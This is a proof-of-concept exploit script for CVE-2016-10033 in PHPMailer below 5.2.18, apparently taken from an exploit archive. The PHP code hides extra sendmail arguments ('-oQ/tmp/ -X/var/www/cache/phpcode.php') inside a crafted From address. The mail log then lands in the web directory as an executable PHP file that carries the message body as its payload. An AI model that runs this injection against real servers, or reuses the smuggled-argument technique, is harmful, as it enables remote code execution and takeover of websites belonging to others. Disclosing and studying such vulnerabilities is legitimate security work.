PHPMailer < 5.2.18 - Remote Code Execution (PHP)

Related Vulnerabilities: CVE-2016-10033  
Publish Date: 25 Dec 2016
                							

                &lt;?php

/*

PHPMailer &lt; 5.2.18 Remote Code Execution (CVE-2016-10033)

Discovered/Coded by:

Dawid Golunski (@dawid_golunski)
https://legalhackers.com

Full Advisory URL:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html


A simple PoC (working on Sendmail MTA)

It will inject the following parameters to sendmail command:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]


which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:

09607 &lt;&lt;&lt; --b1_cb4566aa51be9f090d9419163e492306
09607 &lt;&lt;&lt; Content-Type: text/html; charset=us-ascii
09607 &lt;&lt;&lt; 
09607 &lt;&lt;&lt; &lt;?php phpinfo(); ?&gt;
09607 &lt;&lt;&lt; 
09607 &lt;&lt;&lt; 
09607 &lt;&lt;&lt; 
09607 &lt;&lt;&lt; --b1_cb4566aa51be9f090d9419163e492306--


See the full advisory URL for details.

*/


// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
$msg_body  = "&lt;?php phpinfo(); ?&gt;";

// ------------------


// mail() param injection via the vulnerability in PHPMailer

require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()"

$mail-&gt;SetFrom($email_from, 'Client Name');

$address = "customer_feedback@company-X.com";
$mail-&gt;AddAddress($address, "Some User");

$mail-&gt;Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
$mail-&gt;MsgHTML($msg_body);

if(!$mail-&gt;Send()) {
  echo "Mailer Error: " . $mail-&gt;ErrorInfo;
} else {
  echo "Message sent!\n";
}
    
?&gt;